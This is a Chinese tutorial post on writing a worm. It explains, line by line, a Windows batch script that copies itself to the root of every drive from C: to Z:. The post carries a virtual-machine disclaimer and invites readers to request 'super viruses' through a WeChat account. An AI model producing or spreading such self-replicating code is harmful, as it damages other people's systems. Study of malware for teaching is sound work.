蠕虫(worm)病毒编写

蠕虫(worm)病毒

以下所有测试请在虚拟机实验,本文章是拓展作用,如有人用于违法事件与本文所属无关,请各位师傅遵守国家网络安全相关法规

@echo off

setlocal enabledelayedexpansion

etlocal enabledelayedexpansion就是扩展本地环境变量延迟,在cmd执行命令前会对脚本进行预处理,其中有一个过程是变量识别过程,在这个过程中,如果有两个%括起来的如%value%类似这样的变量,就会对其进行识别,并且查找这个变量对应的值,再而将值替换掉这个变量,这个替换值的过程,就叫做变量扩展,然后再执行命令。要使用!来引用变量。

:: 设置蠕虫文件的名称

set WORM_FILE=worm.bat

使用set命令将WORM_FILE作为worm.bat的新变量名,可使其在之后被调用

:: 检查当前文件是否是蠕虫文件

if not "%~nx0"=="%WORM_FILE%" (

echo This is not the worm file.

goto end

)

使用if语句判断是否已经存在了蠕虫脚本,此处使用了%~nx0来获取当前脚本文件的文件名和扩展名 %0代表当前运行的脚本文件名(包含路径) ~n用于提取文件名部分 ~x用于提取文件扩展名部分

:: 显示蠕虫启动消息

echo Starting the worm simulation...

:: 循环复制自身到其他目录

for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (

if exist %%d: (

if not exist %%d:\%WORM_FILE% (

copy "%~f0" "%%d:\%WORM_FILE%"

echo Copied worm to %%d:\

)

)

)

此操作是将该病毒自身复制到各个盘中,它会遍历从c到z的每个字母。 在批处理脚本中,%%d是一个循环变量,每次循环时它会依次被赋予从c到z的值 if exist %%d: 这个条件判断检查指定的磁盘分区是否存在。例如,当%%d为c时,它会检查C:盘是否存在。如果存在,则进入下一个条件判断。 copy “%~f0” “%%d:%WORM_FILE%” :%~f0在批处理脚本中表示当前正在运行的批处理文件本身的完整路径。这个命令会将当前的批处理文件复制到指定磁盘分区根目录下,并命名为%WORM_FILE%。 echo Copied worm to %%d:\:输出一条消息,表示已经将蠕虫文件复制到了指定的磁盘分区根目录下

:: 结束蠕虫模拟

:end

echo Worm simulation ended.

endlocal

欢迎各位来测试与互相学习,可以关注余速安全公众号,关注留言病毒,会给予几个超级病毒互相测试。 再次说明,请在虚拟机进行,一切违法行为概不负责。

睢宁怎么读
疫情下中企业经营管理的对策建议(第一期)